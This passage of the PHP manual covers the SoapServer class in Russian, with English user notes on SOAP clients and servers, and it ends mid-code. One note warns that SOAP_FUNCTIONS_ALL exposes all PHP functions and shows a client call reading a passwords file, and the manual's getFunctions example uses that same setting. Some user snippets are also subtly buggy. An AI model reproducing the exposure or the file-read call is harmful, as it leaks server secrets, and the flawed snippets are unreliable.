?>
lesley at casbah dot com dot au 21-Apr-2009 06:55
If you are calling a weblogic service with a certificate and you are getting this error on the soap method call statement:

[EJB:010160]Security Violation: User: '<anonymous>' has insufficient permission to access EJB: type=<ejb>, application=app2_0_52_3, module=appsejb.jar, ejb=AppMethod, method=AppMethod, methodInterface=Remote, signature={java.lang.String}.

then check the wsdl in the soap open call - it must be https.  Supplied with an http wsdl this took some time to figure out.

<?php
    $client = new SoapClient("https://example.com/AppWs/Service?WSDL",
                array('trace'=>true,
                      'exceptions'=>true,
                      'local_cert' => "/var/www/html/app/newcert.pem",
                      'passphrase' => "thepassphrase"));
    $response = $client->__soapCall("MyMethod", array("param1" => $value1));
?>

Thanks to the authors for their comments on enabling openssl and curl by uncommenting extension=php_opensll.dll and extension=php_curl.dll in php.ini.  Also for Olaf's instructions "append the content of the private key file and the certificate file to a single file". I did this using copy command on the DOS prompt:

copy mycert.pem+mykey.pem newcert.pem
Tim Williams 08-Apr-2009 06:55
One little gotcha when passing the parameters where you need to have attributes and a simpletype value:

To get the xml

<foo bar="moo">cheese</foo>

You'd pass in:

<?php
array("foo" => array("_" => "cheese", "bar"=>"moo"));
?>

See that "_" bit? It really wasn't obvious from the documentation.
deWarlock 02-Apr-2009 04:10
The most annoying thing is that you'll get no warning trying to pass object not matching wsdl e.g. if server expects smth like $Object->expName->... and you would pass $Object->otherName the client will send empty request without notifying you.
Also pay attention that names are key sensitive.

In my case I spent hours trying to pass $Post->Lead->... object instead of $Post->lead-> ...
Shto 03-Mar-2009 03:17
One thing to note.

This happened to me and it took a while until I discovered what the problem was.

I was trying to get .NET objects from a provided web service, however it always seemed to return empty objects. It did return the backbone, but nothing within the objects that made up the structure.

Anyhow, it seems that you have to be very precise with the arrays when calling these functions. Par example, do this:

<?php
$obj = $client->__soapCall($SOAPCall, array('parameters'=>$SoapCallParameters));
?>

meaning that you must put an array as the second argument with 'parameters' as the key and the soap call parameters as the value.

Also make sure that the parameter variable, in my case $SoapCallParameters is in the form of what is requested by the webservice.

So, don't just make an array of the form:
<?php

(
   [0] => 'Mary',
   [1] => 1983
)

?>

but if the webservice requests a 'muid' variable as 'Mary' and a 'birthyear' as 1983, then make your array like this:

<?php

(
   [muid] => 'Mary',
   [birthyear] => 1983
)

?>

The above arrays refer to the $SoapCallParameters variable.

Hope this helps somebody, not having to spend too much time figuring out the problems.
Alejandro Cavallo 19-Mar-2008 07:38
I get the same problem reported above by ryan:
"ryan at grunt dot tv
22-Sep-2005 01:38
If you want to pass an xml document node as a function parameter, your need to create a SoapVar object with a text represention of the xml node and the XSD_ANYXML encoding constant. However, this constant is not exported by the extension and is not documented for some unknown reason."

When defined variable soapVar I assigned the type XSD_STRING rather than as XSD_ANYXML.
And when calls to the function you must pass the soapVar in an associative array.

For example if the function (called myFunc) expect a parameter called xmlInput you should do something like this:
$soapvar = new SoapVar($query, XSD_STRING);
$result = $client->myFunc(array('xmlInput'=>$soapvar));

This XML fragment are wrapped around xmlImput tags.-
stefan at datax dot biz 24-Oct-2007 07:28
The call to __soapCall returned an object to me either. This is the function which makes my life easier:

function obj2array($obj) {
  $out = array();
  foreach ($obj as $key => $val) {
    switch(true) {
        case is_object($val):
         $out[$key] = obj2array($val);
         break;
      case is_array($val):
         $out[$key] = obj2array($val);
         break;
      default:
        $out[$key] = $val;
    }
  }
  return $out;
}

Usage:
...
$response = $client ->__soapCall("track", array('parameters' => $request));
$response = obj2array($response);

Hope it helps.
temp at mailinator dot com 30-Jan-2007 04:43
The options in the third argument is documented in http://php.net/manual/en/function.soap-soapclient-construct.php
paulsjv at gmail dot com 11-Jan-2006 07:44
I was working with SOAP for the first time and I had to create a client that sent a date range to a WSDL (Web Services Description Language) to return some information I needed.  I didn't know how to pass the params and there really was no documentation about it.  The main thing you have to make sure to do is when you pass params to a method that is definied by the WSDL that you are calling is that you use the same param name for the key of the array or the object variable as shown below.  Also, if you don't know what the methods/functions that a WSDL has or the params that you need to pass it you can use the __getFunctions() and __getTypes() methods after you declare your new SoapClient.

<?php
// From and to are the two params that the execute function needs
// when called from the WSDL so make you to have them as the
// key to an array like below
$params["From"] = "06/01/2005"; // also can use $params->From = "date";
$params["to"] = "12/31/2005"; // also can use $params->to = "date";

$client = new SoapClient("some.wsdl");

try {
        print($client->execute($params));
} catch (SoapFault $exception) {
        echo $exception;
}
?>
ryan at grunt dot tv 21-Sep-2005 09:38
If you want to pass an xml document node as a function parameter, your need to create a SoapVar object with a text represention of the xml node and the XSD_ANYXML encoding constant. However, this constant is not exported by the extension and is not documented for some unknown reason.

Therefore, to get this to work you must either register the XSD_ANYXML #define as a PHP constant, or use the integer value of the constant when creating the SoapVar, which is 147.

$soapvar = new SoapVar($xml_text, 147);

$params = array("ItemXml" => $soapvar, "PropertyView" => "blah");
$result = $this->soapclient->__soapCall("SaveItem", array("parameters"=>$params), null, $this->soapheaders);

However, this still doesnt give the correct result. For some reason, the ItemXml parameter node is not wrapped around the associated xml parameter in the soap request, and the following soap is produced (assumming '<item>blah</item>' is used as the $xml_text):

<SOAP-ENV:Envelope xmlns:SOAP-ENV="..." xmlns:ns1="...">
<SOAP-ENV:Header>...</SOAP-ENV:Header>
<SOAP-ENV:Body>
<ns1:SaveItem>
<item>blah</item>
<ns1:PropertyView>blah</ns1:PropertyView>
</ns1:SaveItem>
</SOAP-ENV:Body>
</SOAP-ENV:Envelope>
DesmondJ 04-May-2005 03:36
Following OrionI's example:

<?php
 $client = new SoapClient("http://server/sumservice.asmx?WSDL");
 $params->a = 2;
 $params->b = 3;
 $objectresult = $client->Sum($params);
 $simpleresult = $objectresult->SumResult;
 print($simpleresult); //produces "-1"
?>

Please note that the lines:

"$client->Sum($params);"

and

"$simpleresult = $objectresult->SumResult;"

are based off of each other. If your web service function is called "Sum", then add "Result" to the end of it to get the results of the call.

EG:

<?php
 $client = new SoapClient("http://server/mathservice.asmx?WSDL");
 $params->a = 2;
 $params->b = 3;
 $objectresult = $client->Minus($params); // note the name of the function is "Minus"
 $simpleresult = $objectresult->MinusResult; // note the name of the result is referenced as "MinusResult"
 print($simpleresult); //produces "5"
?>
OrionI 18-Apr-2005 07:27
Correction on the previously submitted code snippet...the incoming parameter for .NET also has to be in object or array form for it to be correctly converted to the XML form that .NET expects (as already mentioned by Llu?s P?mies). The full example (when using WSDL) should be like this:
<?php
 $client = new SoapClient("http://server/myservice.asmx?WSDL");
 $params->param1 = $value1;
 $params->param2 = $value2;
 $objectresult = $client->MyMethod($params);
 $simpleresult = $objectresult->MyMethodResult;
?>
So if you have a C# function like this:
//sumservice.asmx
...
[WebMethod]
public int Sum(int a, int b)
{
  return a + b;
}
...
The PHP client would be this:
<?php
 $client = new SoapClient("http://server/sumservice.asmx?WSDL");
 $params->a = 2;
 $params->b = 3;
 $objectresult = $client->Sum($params);
 $simpleresult = $objectresult->SumResult;
 print($simpleresult); //produces "5"
?>
OrionI 15-Apr-2005 11:46
When calling over SOAP to a .NET application, you may end up with an object as a result instead of a simple type, even if you're just grabbing a simple type (like a boolean result). Use a property accessor to get the actual result, like this:
<?php
 $client = new SoapClient("http://server/myservice.asmx?WSDL");
 $objectresult = $client->MyMethod($param1, $param2);
 $simpleresult = $objectresult->MyMethodResult;
?>
Note that .NET seems to name the result MethodNameResult for method MethodName.
Llu?s P?mies 17-Feb-2005 03:19
If your service is a .NET doc/lit, which means the input message has a single part named 'parameters' that is a structure that wraps the parameters.  Your call should look like this:

<?php

$params = array('param_name_1'=>$val_1,'param_name_2'=>$val_2);
$client->call('MethodName', array('parameters' => $params));

?>


Класс SoapServer

(PHP 5, PHP 7, PHP 8)

Введение

Класс SoapServer представляет собой сервер для протоколов » SOAP 1.1 и » SOAP 1.2. Его можно использовать с описанием службы WSDL или без него.

Обзор классов

class SoapServer {
/* Свойства */
private ?SoapFault $__soap_fault = null;
/* Методы */
public __construct(?string $wsdl, array $options = [])
public addFunction(array|string|int $functions): void
public addSoapHeader(SoapHeader $header): void
public fault(
string $code,
string $string,
string $actor = "",
mixed $details = null,
string $name = ""
): void
public getFunctions(): array
public handle(?string $request = null): void
public setClass(string $class, mixed ...$args): void
public setObject(object $object): void
public setPersistence(int $mode): void
}

Свойства

service

__soap_fault

Содержание

  • SoapServer::addFunction — Добавляет одну или несколько функций для обработки запросов SOAP
  • SoapServer::addSoapHeader — Добавить заголовок SOAP в ответ
  • SoapServer::__construct — Конструктор SoapServer
  • SoapServer::fault — Вынуждает SoapServer вернуть ошибку
  • SoapServer::getFunctions — Вернуть список определённых функций
  • SoapServer::handle — Обработка SOAP-запроса
  • SoapServer::setClass — Устанавливает класс, который обрабатывает SOAP-запросы
  • SoapServer::setObject — Устанавливает объект, который будет использоваться для обработки SOAP-запросов
  • SoapServer::setPersistence — Устанавливает режим сохранения SoapServer

User Contributed Notes

mail at borisd dot ru 08-Feb-2019 12:43
If you want to run dummy SoapServer as a daemon for tests on linux, you need to:

1. Set up location "localhost:12312/soapServer.php" in your wsdl like:

<wsdl:service name="ServiceName">
        <wsdl:port name="ServiceNamePort" binding="tns:ServiceNameBinding">
            <soap:address location="http://localhost:12312/soapServer.php" />
        </wsdl:port>
</wsdl:service>

2. Write your test server like:

<?php
/*
  * Server
  */
class TestSoapServer
{
    public function getMessage()
    {
        return 'Hello, World!';
    }
}
$options = ['uri' => 'http://localhost:12312/'];
$server = new SoapServer(null, $options);
$server->setClass('TestSoapServer');
$server->handle();

?>

3. Run it with `php -S localhost:12312` (in the same folder)

Whenever you make a request according to your wsdl, it will end up at your "server".
softontherocks at gmail dot com 29-Oct-2014 06:20
I posted in this URL http://softontherocks.blogspot.com/2014/02/web-service-soap-con-php.html a full example of a nusoap web service.

There is defined the server and the cliente who calls the web service.

I hope it would be useful for you.
s at dumdeedum dot com 12-Sep-2013 05:32
I was running PHP 5.3.2 and couldn't for the life of me get SOAP headers to work, no matter how carefully I built my class/wsdl/client.  What finally fixed it was updating to the latest PHP.  No idea if there was a bug somewhere or what, but it's never a bad idea to stay current and it might save you weeks of frustration!
phpman dot fulter47 at recursor dot net 04-Jul-2012 05:36
For those (like me) coming from other SOAP frameworks and getting confused:

- A PHP SOAP server application created using the SoapServer class can not be used as a standalone SOAP server.
It needs an HTTP server to receive SOAP requests, which must run a PHP engine to execute the PHP SOAP server script as a CGI.

- For this reason, there are no settings in PHP that control the Interface/Port under which the SOAP server will wait for requests - it is the HTTP server who is responsible for that.

- The "uri" parameter is an "id value", used as the namespace for the SOAP response. It is only required if no WSDL file is used (that contains this setting), i.e. "wsdl" is set to NULL. It does _not_ control the Hostname/Port under which the HTTP server will be reachable for requests.
php1221 at klox dot net 18-Aug-2011 01:39
While there are plenty of mentions online that SoapServer doesn't support SOAP Headers, this isn't true.

In your class, if you declare a function with the name of the header, the function will be called when that header is received.

<?php
class MySoapService {
  private $user_is_valid;

  function MyHeader($header) {
    if ((isset($header->Username)) && (isset($header->Password))) {
      if (ValidateUser($header->Username, $header->Password)) {
        $user_is_valid = true;
      }
    }
  }

  function MySoapRequest($request) {
    if ($user_is_valid) {
      // process request
    }
    else {
      throw new MyFault("MySoapRequest", "User not valid.");
    }
  }
}
?>
hawky83 at googlemail dot com 21-Jan-2011 02:46
Another simple example for SOAP_SERVER with errorhandling an params and wsdl:

SERVER (soap_all_srv.php):

<?php
// PEAR::SOAP einbinden
require_once "SOAP/Server.php";
$skiptrace =& PEAR::getStaticProperty('PEAR_Error', 'skiptrace');
$skiptrace = true;

// Service-Class
class mytimeserv {

  // __dispatch_map
  public $__dispatch_map = array ();

  // In/Out param -> __dispatch_map
  public function __construct() {
    $this->__dispatch_map["now"] =
      array ("in" => array("format" => "string"),
             "out" => array("time" => "string"));
  }

  // get back __dispatch_map in __dispatch
  public function __dispatch($methodname) {

    if (isset($this->__dispatch_map[$methodname])) {
      return $this->__dispatch_map[$methodname];
    }

    return NULL;
  }

  // servicemthod with parameters
  function now ($format) {

    // formaterror?
    if (($format == null) || (trim($format) == "")) {

      // send errormessage
      return new SOAP_Fault("Kein Parameter angegeben","0815", "Client");
    }

    date_default_timezone_set('Europe/Berlin');

    $time = date ($format);

    // return SOAP-Obj.
    return (new SOAP_Value('time','string', $time));
  }
}

// service-class
$service = new mytimeserv();

// server
$ss = new SOAP_Server();

// add service with name
$ss->addObjectMap (&$service,"urn:mytimeserv");

// service or wsdl
if (isset($_SERVER["REQUEST_METHOD"])&& $_SERVER["REQUEST_METHOD"] == "POST") {

    // postdata -> service
    $ss->service ($HTTP_RAW_POST_DATA);

} else {

  // wsdl-param in url
  if (isset($_SERVER['QUERY_STRING']) && strcasecmp($_SERVER['QUERY_STRING'],'wsdl') == 0) {

    // DISCO_Server for WSDL
    require_once "SOAP/Disco.php";
    $disco = new SOAP_DISCO_Server ($ss,"mytimeserv","My Time Service");

    // set HTML-Header
    header("Content-type: text/xml");

    // return wsdl
    print $disco->getWSDL ();
  }
}

?>

CLIENT (soap_all_client.php) (for wsdl: http://example.com/soap_all_srv.php?wsdl):
<?php

require_once "SOAP/Client.php";

// SOAP/WSDL
$sw = new SOAP_WSDL ("http://example.com/soap_all_srv.php?wsdl");

// Proxy-Obj.
$proxy = $sw->getProxy ();

// servicemthod
$erg = $proxy->now ("H:i:s");

// return
print $erg."\n";

?>
mikkel at nsales dot dk 02-Jun-2010 03:15
If you want to return a custom object array from a nusoap webservice, you have to cast the objects to arrays like so:

<?php
$users = array();
while($res = $db_obj->fetch_row())
{
  $user = new user();
  $user->Id = $res['id'];
  $user->Username = $res['username'];
  $user->Email = $res['email'];

  $users[] = (array) $user;
}

return ($users);
?>
junk2cm at gmx dot de 25-May-2010 12:54
As the SoapServer class lacks the possibility of dealing with SOAP-Headers, my following workaround is suitable to my needs when I had to do authentication via the SOAP-Headers:
1. Use a class which handles SOAP requests and let the constructor of this class take the sent headers.
2. Before invoking the SoapServer extract the SOAP-Header from the incoming raw data.
3. When using setClass pass the extracted header to the handling class.

In Your Server-Skript do things like this
<?php
$hdr = file_get_contents("php://input");
if (strpos($hdr,'<s:Header>')===false) {
    $hdr = null;
} else {
    $hdr = explode('<s:Header>',$hdr);
    $hdr = explode('</s:Header>',$hdr[1]);
    $hdr = $hdr[0];
}
$srv = new SoapServer('Your_wsdl');
$srv->setClass("ServiceClass",$hdr);
$srv->handle();
?>

And the service class is like this:
<?php
class ServiceClass {
    var $IsAuthenticated;

    function __construct($hdr) {
        $this->IsAuthenticated = false;
        if ($hdr!=null) {
            $this->header = simplexml_load_string($hdr);
            //Your authentication stuff goes here...
        }
    }

    function SomeFunctionOfTheService($a) {
        if ($this->IsAuthenticated) {
            //here Your function...
        }
    }

}
?>
carlos dot vini at gmail dot com 20-May-2010 01:55
SoapServer does not support WSDL with literal/document. I have a class:

<?php
class My_Soap {
    /**
     * Returns Hello World.
     *
     * @param string $world
     * @return string
     */
    public function getInterAdmins($world) {
        return 'hello' . $world;
    }
}
?>

To fix this I had to create proxy class:
<?php
class My_Soap_LiteralDocumentProxy {
   public function __call($methodName, $args) {
       $soapClass = new My_Soap();
       $result = call_user_func_array(array($soapClass, $methodName),  $args[0]);
       return array($methodName . 'Result' => $result);
   }
}
?>

Now make sure that the WSDL is created using My_Soap. And that the Server is created using My_Soap_LiteralDocumentProxy:

<?php

if (isset($_GET['wsdl'])) {
    $wsdl = new Zend_Soap_AutoDiscover(); // It generates the WSDL
    $wsdl->setOperationBodyStyle(array(
        'use' => 'literal'
    ));
    $wsdl->setBindingStyle(array(
        'style' => 'document'
    ));
    $wsdl->setClass('My_Soap');
    $wsdl->handle();
} else {
    $server = new Zend_Soap_Server('http://localhost/something/webservice.php?wsdl');
    $server->setClass('My_Soap_LiteralDocumentProxy');
    $server->handle();
}

?>
dsubar at interna dot com 25-Dec-2009 09:49
Do not put a SoapServer and a SoapClient in the same PHP file. This seems to cause arbitrary behavior. On the PHP interpreter in Eclipse, everything worked fine. Under MAMP, I got an undocumented error. In moving the client from the same file as the server, everything worked fine.


Добавляет одну или несколько функций для обработки запросов SOAP

  • « SoapServer
  • SoapServer::addSoapHeader »
  • PHP Manual
  • SoapServer
  • Добавляет одну или несколько функций для обработки запросов SOAP

SoapServer::addFunction

(PHP 5, PHP 7, PHP 8)

SoapServer::addFunction — Добавляет одну или несколько функций для обработки запросов SOAP

Описание

public SoapServer::addFunction(array|string|int $functions): void

Экспортирует одну или несколько функций удалённому клиенту

Список параметров

functions

Для экспорта одной функции, передайте в этот параметр её имя в виде строки.

Для экспорта нескольких функций, передайте в этот параметр массив с именами функций.

Для экспорта всех функций, задайте параметр константой SOAP_FUNCTIONS_ALL.

Замечание:

Параметр functions должен принимать все входящие аргументы в том же порядке, как они определены в файле WSDL (они не должны принимать никаких возвращаемых параметров в качестве аргументов) и должны возвращать одно или больше значений. Для возврата нескольких значений, они должны возвращать массив с именованными возвращаемыми параметрами.

Возвращаемые значения

Функция не возвращает значения после выполнения.

Примеры

Пример #1 Пример использования SoapServer::addFunction()

<?php

function echoString($inputString)
{
return $inputString;
}

$server->addFunction("echoString");

function echoTwoStrings($inputString1, $inputString2)
{
return array("outputString1" => $inputString1,
"outputString2" => $inputString2);
}
$server->addFunction(array("echoString", "echoTwoStrings"));

$server->addFunction(SOAP_FUNCTIONS_ALL);

?>

Смотрите также

  • SoapServer::__construct() - Конструктор SoapServer
  • SoapServer::setClass() - Устанавливает класс, который обрабатывает SOAP-запросы

User Contributed Notes

dotpointer at gmail dot com 26-Oct-2007 06:52
Be careful with SOAP_FUNCTIONS_ALL, as it adds ALL availiable PHP functions to your server.

This can be a potential security threat, imagine clients doing this:

echo $client->file_get_contents("c:\\my files\\my_passwords.doc");

And voila, they have the contents of your file my_passwords.doc.
Evan Borgstrom 23-Aug-2006 03:42
In response to comment by Nathan O'Sullivan about returning (or passing) a complex type, you can also use the stdClass() object.

Assume you define a complex type like so:

<xsd:complexType name="TestType">
        <xsd:all>
                <xsd:element name="A" type="xsd:string" />
                <xsd:element name="B" type="xsd:int" />
                <xsd:element name="C" type="xsd:boolean" />
        </xsd:all>
</xsd:complexType>

To use an object in place of an array you can do:

$test = new stdClass();
$test->A = "test string";
$test->B = 45;
$test->C = false;

$result = $client->Test($test);
Nathan O'Sullivan 28-Apr-2005 11:36
You may be left wondering, as I was, how to return a complex type - consider the following WSDL snippets, for a method called Login:

 <xs:element name="Login">
        <xs:complexType>
          <xs:sequence>
            <xs:element minOccurs="0" maxOccurs="1" name="username" type="xs:string" />
            <xs:element minOccurs="0" maxOccurs="1" name="password" type="xs:string" />
          </xs:sequence>
        </xs:complexType>
      </xs:element>

   <xs:complexType name="UserInfo">
        <xs:sequence>
          <xs:element minOccurs="0" maxOccurs="1" name="Id" type="xs:string" />
          <xs:element minOccurs="0" maxOccurs="1" name="Name" type="xs:string" />
          <xs:element minOccurs="0" maxOccurs="1" name="Nickname" type="xs:string" />
          <xs:element minOccurs="0" maxOccurs="1" name="Email" type="xs:string" />
        </xs:sequence>
      </xs:complexType>

   <xs:element name="LoginResponse">
        <xs:complexType>
          <xs:sequence>
            <xs:element minOccurs="0" maxOccurs="1" name="LoginResult" type="s0:UserInfo" />
          </xs:sequence>
        </xs:complexType>
      </xs:element>

Here's a working Login function  that I've added with add SoapServer::addFunction

function Login($username, $password)
{
  return array("LoginResult", array("Id"=>1, "Name"=>"Nathan", "Nickname"=>"Nathan", "Email"=>"email address") );
}

The UserInfo complextype is represented by the inner array.  The outer array has just one element, "LoginResult".  The LogineResponse element  seems to be treated as a one-member array by PHP.


Добавить заголовок SOAP в ответ

  • « SoapServer::addFunction
  • SoapServer::__construct »
  • PHP Manual
  • SoapServer
  • Добавить заголовок SOAP в ответ

SoapServer::addSoapHeader

(PHP 5 >= 5.1.3, PHP 7, PHP 8)

SoapServer::addSoapHeader — Добавить заголовок SOAP в ответ

Описание

public SoapServer::addSoapHeader(SoapHeader $header): void

Добавляет заголовок SOAP в возвращаемый ответ на текущий запрос.

Список параметров

header

Возвращаемый заголовок.

Возвращаемые значения

Функция не возвращает значения после выполнения.

User Contributed Notes

vladimir at bashkirtsev dot com 21-Nov-2016 09:30
Notably addSoapHeaders() must be called within handling class/object.

If you call addSoapHeaders() like this:

$server = new SoapServer("some.wsdl");
$server->setObject(new Service());
$server->addSoapHeaders(new SoapHeader("ns", "Header", "value"));
$server->handle();

Your SOAP header will not be added to the server response as it will be overwritten by result of handle() function.

If you want to add SOAP headers to the resulting response you should make $server global/static variable and then call addSoapHeaders() from within of the method of Service class which will handle the request.


Конструктор SoapServer

  • « SoapServer::addSoapHeader
  • SoapServer::fault »
  • PHP Manual
  • SoapServer
  • Конструктор SoapServer

SoapServer::__construct

(PHP 5, PHP 7, PHP 8)

SoapServer::__construct — Конструктор SoapServer

Описание

public SoapServer::__construct(?string $wsdl, array $options = [])

Данный конструктор позволяет создавать объекты SoapServer в WSDL или не-WSDL режимах.

Список параметров

wsdl

Для использования SoapServer в режиме WSDL, укажите URI WSDL-файла. В противном случае укажите null и установите опцию uri равной пространству имён сервера.

options

Попытка установить версию SOAP по умолчанию (soap_version), внутреннюю кодировку (encoding) и URI отправителя (actor).

Опцию classmap можно использовать для сопоставления некоторых типов WSDL с классами PHP. Данная опция должна быть массивом с ключами равными типам WSDL и значениям равными именам классов PHP.

Опция typemap является массивом сопоставления типов. Массив с ключами type_name, type_ns (URI пространства имён), from_xml (callback-функция, принимающая один строковый параметр) и to_xml (callback-функция, принимающая один объект в качестве параметр).

Опция cache_wsdl задаётся одной из констант: WSDL_CACHE_NONE, WSDL_CACHE_DISK, WSDL_CACHE_MEMORY или WSDL_CACHE_BOTH.

Также есть опция features, которая задаётся одной из констант: SOAP_WAIT_ONE_WAY_CALLS, SOAP_SINGLE_ELEMENT_ARRAYS или SOAP_USE_XSI_ARRAY_TYPE.

опция send_errors может быть установлена в false для отправки общего сообщения об ошибке ("Internal error") вместо специального сообщения об ошибке, отправляемого в противном случае.

Примеры

Пример #1 Пример использования SoapServer::SoapServer()

<?php

$server = new SoapServer("some.wsdl");

$server = new SoapServer("some.wsdl", array('soap_version' => SOAP_1_2));

$server = new SoapServer("some.wsdl", array('actor' => "http://example.org/ts-tests/C"));

$server = new SoapServer("some.wsdl", array('encoding'=>'ISO-8859-1'));

$server = new SoapServer(null, array('uri' => "http://test-uri/"));

class MyBook {
public $title;
public $author;
}

$server = new SoapServer("books.wsdl", array('classmap' => array('book' => "MyBook")));

?>

Смотрите также

  • SoapClient::SoapClient()

User Contributed Notes

Anonymous 10-Jun-2012 02:35
// Workin Server with Client for localhost

// server.php

<?php
class MyClass {
  public function helloWorld() {

    return 'Hallo Welt '. print_r(func_get_args(), true);
  }
}

try {
  $server = new SOAPServer(
    NULL,
    array(
     'uri' => 'http://localhost/soap/server.php'
    )
  );

  $server->setClass('MyClass');
  $server->handle();
}

catch (SOAPFault $f) {
  print $f->faultstring;
}

?>

// client.php:

<?php
$client = new SoapClient(null, array(
      'location' => "http://localhost/soap/server.php",
      'uri'      => "http://localhost/soap/server.php",
      'trace'    => 1 ));

echo $return = $client->__soapCall("helloWorld",array("world"));
?>

// Hope you like it


Вынуждает SoapServer вернуть ошибку

  • « SoapServer::__construct
  • SoapServer::getFunctions »
  • PHP Manual
  • SoapServer
  • Вынуждает SoapServer вернуть ошибку

SoapServer::fault

(PHP 5, PHP 7, PHP 8)

SoapServer::fault — Вынуждает SoapServer вернуть ошибку

Описание

public SoapServer::fault(
string $code,
string $string,
string $actor = "",
mixed $details = null,
string $name = ""
): void

Отправляет клиенту ответ на текущий запрос с сообщением об ошибке.

Замечание:

Может быть вызвана только во время обработки запроса.

Список параметров

code

Код возвращаемой ошибки

string

Краткое описание ошибки

actor

Строка, идентифицирующая отправителя, вызвавшего ошибку

details

Детальная информация об ошибке

name

Имя ошибки. Может использоваться для выбора имени из WSDL-файла.

Возвращаемые значения

Функция не возвращает значения после выполнения.

Смотрите также

  • SoapFault::__construct() - Конструктор SoapFault

User Contributed Notes

christian at cmjdesign dot dk 06-Jun-2013 10:41
hi,
to control the fault output one may do the following

/**
 * mySoapServer class
 */
class mySoapServer extends SoapServer {
    public function __construct($wsdl, array $options = null) {
        parent::SoapServer($wsdl, $options);
    }
    public function fault ($code, $string, $actor = null, $details = null, $name = null) {
        throw new SoapFault($code, $string, $actor, $details, $name);
    }
}

Use:
try {
    $server = new mySoapServer(null, array('uri' => $_SERVER['REQUEST_URI']));
    $server->setClass('mySoapAPI');
    $server->handle();
} catch (SoapFault $exc) {
    echo $exc->getTraceAsString();
}

that how i did this,
hope iot can help some one.
brian dot reynolds at risaris dot com 21-Feb-2012 09:44
Example Usage:

return new SoapFault( "Client", "foo or bar must be supplied");

SOAP Fault Codes

VersionMismatch: Found an invalid namespace for the SOAP Envelope element
MustUnderstand    : An immediate child element of the Header element, with the mustUnderstand attribute set to "1", was not understood
Client: The message was incorrectly formed or contained incorrect information
Server: There was a problem with the server so the message could not proceed
dub357 at gmail dot com 08-Feb-2012 08:01
This function also sends a 500 response code back to the client with the request.
This was causing issues with an Apache Axis 1.2 client I had so I instead implemented by own fault handling:

<?php
header("Content-Type: text/xml");
header("Status: 200");
die("<SOAP-ENV:Envelope xmlns:SOAP-ENV=\\"http://schemas.xmlsoap.org/soap/envelope/\\">
  <SOAP-ENV:Body>
    <SOAP-ENV:Fault>
      <faultcode>500</faultcode>
      <faultstring>".$ex->getMessage())."</faultstring>
    </SOAP-ENV:Fault>
  </SOAP-ENV:Body>
</SOAP-ENV:Envelope>");
?>
Amr Mostafa 09-Sep-2009 06:16
This function currently terminates execution as well, which may be undesirable. See: http://bugs.php.net/bug.php?id=49513
Anonymous 16-Jul-2008 12:12
If you use Adobe Flex, Flash or AIR as SOAP client and are unable to get the error message in case of a soap fault, upgrade to PHP 5.2.6.

Details in:
http://bugs.php.net/bug.php?id=43507


Вернуть список определённых функций

  • « SoapServer::fault
  • SoapServer::handle »
  • PHP Manual
  • SoapServer
  • Вернуть список определённых функций

SoapServer::getFunctions

(PHP 5, PHP 7, PHP 8)

SoapServer::getFunctions — Вернуть список определённых функций

Описание

public SoapServer::getFunctions(): array

Вернуть список определённых функций в объекте SoapServer. Этот метод возвращает список всех функций, добавленных с помощью SoapServer::addFunction() или SoapServer::setClass().

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Массив определённых функций.

Примеры

Пример #1 Пример использования SoapServer::getFunctions()

<?php
$server = new SoapServer(NULL, array("uri" => "http://test-uri"));
$server->addFunction(SOAP_FUNCTIONS_ALL);
if ($_SERVER["REQUEST_METHOD"] == "POST") {
$server->handle();
} else {
echo "Этот сервер SOAP может обрабатывать следующие функции: ";
$functions = $server->getFunctions();
foreach($functions as $func) {
echo $func . "\n";
}
}
?>

Смотрите также

  • SoapServer::__construct() - Конструктор SoapServer
  • SoapServer::addFunction() - Добавляет одну или несколько функций для обработки запросов SOAP
  • SoapServer::setClass() - Устанавливает класс, который обрабатывает SOAP-запросы

User Contributed Notes

There are no user contributed notes for this page.


Обработка SOAP-запроса

  • « SoapServer::getFunctions
  • SoapServer::setClass »
  • PHP Manual
  • SoapServer
  • Обработка SOAP-запроса

SoapServer::handle

(PHP 5, PHP 7, PHP 8)

SoapServer::handle — Обработка SOAP-запроса

Описание

public SoapServer::handle(?string $request = null): void

Обрабатывает SOAP-запрос, вызывает необходимые функции и отправляет ответ клиенту.

Список параметров

request

SOAP-запрос. Если аргумент не задан, предполагается, что запрос находится в необработанных POST-данных HTTP-запроса.

Возвращаемые значения

Функция не возвращает значения после выполнения.

Список изменений

Версия | Описание
8.0.0 | request теперь допускает значение null.

Примеры

Пример #1 Пример использования SoapServer::handle()

<?php
function test($x)
{
return $x;
}

$server = new SoapServer(null, array('uri' => "http://test-uri/"));
$server->addFunction("test");
$server->handle();
?>

Смотрите также

  • SoapServer::__construct() - Конструктор SoapServer

User Contributed Notes

Bas van Dorst 19-Feb-2014 02:58
Additional information to the comment of "Joeri Thissen" (http://www.php.net/manual/en/soapserver.handle.php#113866)

In some cases the replacements generates a timeout (looks like it is in combination with Nginx). The problem is that PHP has already sent a content-length, and the webserver is still waiting for new content.

To fix this you have to reset the HTTP Content-Length with the right value:

<?php
ob_start();
$soapServer->handle();
$result = ob_get_contents();
ob_end_clean();

$result = str_replace("abcdef", "abc", $result);
$length = strlen($result);

header("Content-Length: ".$length);
echo $result;
Joeri Thissen 11-Dec-2013 10:59
Sometimes returned data can contain characters which are not valid in xml 1.0. This causes the xml being output by SoapServer::handle to be invalid. Although it's probably better to sanitize the data ealier, a combination of output buffering and a simple regular expression can be used as a quick fix to make sure the output is indeed valid xml.

For example:

<?php
    ob_start();
    $soapServer->handle();
    $soapXml = ob_get_contents();
    ob_end_clean();
    $soapXml = preg_replace ('/[^\x{0009}\x{000a}\x{000d}\x{0020}-\x{D7FF}\x{E000}-\x{FFFD}]+/u', ' ', $soapXml);
    echo $soapXml;
?>
dub357 at gmail dot com 08-Feb-2012 10:54
After much headache and looking through PHP source code, I finally found out why the handle() function would immediately send back a fault with the string "Bad Request".
Turns out that my client was sending valid XML, but the first line of the XML was the actual XML declaration:

<?xml version="1.0" encoding="UTF-8"?>

When the "handle" function in the SoapServer class is called, it first tries to parse the XML.  When the XML document can't be parsed, a "Bad Request" fault is returned and execution of the script immediately stops.  I assume that the XML parser built into PHP (libxml2) already assumes the document to be XML and when it finds the declaration, it thinks it isn't valid.

I added some XML parsing calls to my service before the handle() function is called to check for valid XML and avoid the "Bad Request" fault.  This also allows me to send back a more suitable error message:

<?php
$parser = xml_parser_create("UTF-8");
if (!xml_parse($parser,$HTTP_RAW_POST_DATA,true)){
   $webService->fault("500", "Cannot parse XML: ".
      xml_error_string(xml_get_error_code($parser)).
       " at line: ".xml_get_current_line_number($parser).
